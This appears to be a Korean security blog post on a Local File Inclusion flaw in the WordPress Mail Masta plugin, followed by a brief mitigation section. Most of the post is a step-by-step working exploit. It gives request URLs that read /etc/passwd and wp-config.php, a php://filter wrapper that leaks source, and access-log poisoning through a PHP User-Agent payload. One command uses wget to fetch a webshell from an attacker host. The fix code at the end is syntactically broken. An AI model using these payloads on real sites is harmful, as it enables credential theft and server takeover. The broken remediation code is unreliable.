1. 개요
LFI 취약점 이란 Local File Inclusion의 약자로 RFI와 상당히 유사한 취약점이다. 원격지에 있는 파일이 대상이 된다면 RFI 취약점이고, 해당 대상 파일이 공격대상 서버에 위치해 위치해 있다면 LFI 취약점이라고 볼 수 있다.
본 포스팅은 워드 프레스의 mail masta 라는 플러그인을 사용 할 경우 발생 할 수 있는 LFI 취약점에 대한 것이다.
wordpress/mail-masta/inc/campaign/count_of_send.php 와 csvexport.php 에서 발생하며 include 시키는 pl 파라미터에서 검증을 하지 않아 취약점이 발생한다.
STEP 1
플러그인에서 mail masta 가 활성화 되어있는 것을 확인한다.STEP 2
mail masta가 활성화 된 것을 확인 한 후, 파일 다운로드를 시도한다.xxx.xxx.xxx.xxx/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd |
위와 같이 파라미터 값에 얻고자 하는 파일 값을 삽입하면 된다.
xxx.xxx.xxx.xxx/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/www/html/wordpress/wp-config.php |
위와 같이, php 코드를 출력하려 하지만, LFI 취약점은 html 형태로 출력해주기 때문에 php 코드는 출력되지 않는다. 이를 해결하기 위해 사용하는 것이 wrapper 이다. php 5.0 이상인 경우 wrapper 기능이 추가되었는데, 이 기능을 이용하여 php 파일의 소스 코드 인코딩 값을 출력 할 수 있다.
pl=php://filter/convert.base64-encode/resource=경로(/var/www/html/worpress/wp-config.php) |
위와 같이 파라미터에 값을 대입하면 base64 인코딩 된 값이 출력된다.
STEP 3
추가적으로 LFI 취약점을 응용하여 웹쉘을 업로드 할 수 있다.단, /var/log/apache2/access.log 디렉터리의 의 권한이 751 이 되어야 한다. 즉 other의 실행 권한(x)이 부여되어야 한다. chmod 751 /var/log/apache2 명령어를 이용하여 변경해준다.
xxx.xxx.xxx.xxx/wordpress/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/log/apache2/access.log |
위 url 로 접근하면 HOST, 시간, URL, User-Agent 등의 로그가 출력된다.
이제 프록시 툴을 사용해 access.log 에 접근할 때 요청(GET) 패킷을 가로챈 후에
User-Agent : <?php system('id'); ?> 라고 변경 후 서버에 요청한다. 이후 출력된 로그 결과에서 User-Agent 뒤에 삽입한 명령어의 실행 결과가 출력된 것을 확인 할 수 있다.
STEP 4
동일한 방법으로 공격자 PC에 있는 웹쉘을 wget으로 다운로드하는 명령어를 삽입한다.User-Agent: <?php system('wget http://xxx.xxx.xxx.xxx/webshell.txt -O shell.php'); ?>
업로드된 webshell.txt 파일은 count_of_send.php 파일이 있는 폴더에 다운로드 되므로, 해당 웹쉘을 실행할 수 있을 것이다.
< 참고>
access.log 외에도 /proc/self/environ 의 User-Agent 값을 변경하는 방법과 PHP Wrapper의 input 기능을 사용할 수도 있다. /proc/self/environ 도 역시 other에 실행권이 부여되어 있어야 한다.
2. 대응방안
count_of_send.php 파일에 시큐어코딩을 적용하여야 한다.<? php
$cur_pl=$_get['pl'];
if($cur_pl == "abc.php")
{
include($cur_pl);
}
else
{
?> <script>alert("Not be allwed"); </script>}
}
위와 같이 특정 파일(abc.php) 만 파라미터로 받아 들이고 그 외 파일은 허용하지 않도록 하여야 한다. 또한 access.log의 other 권한에 실행권한(x)을 부여하지 않도록 한다.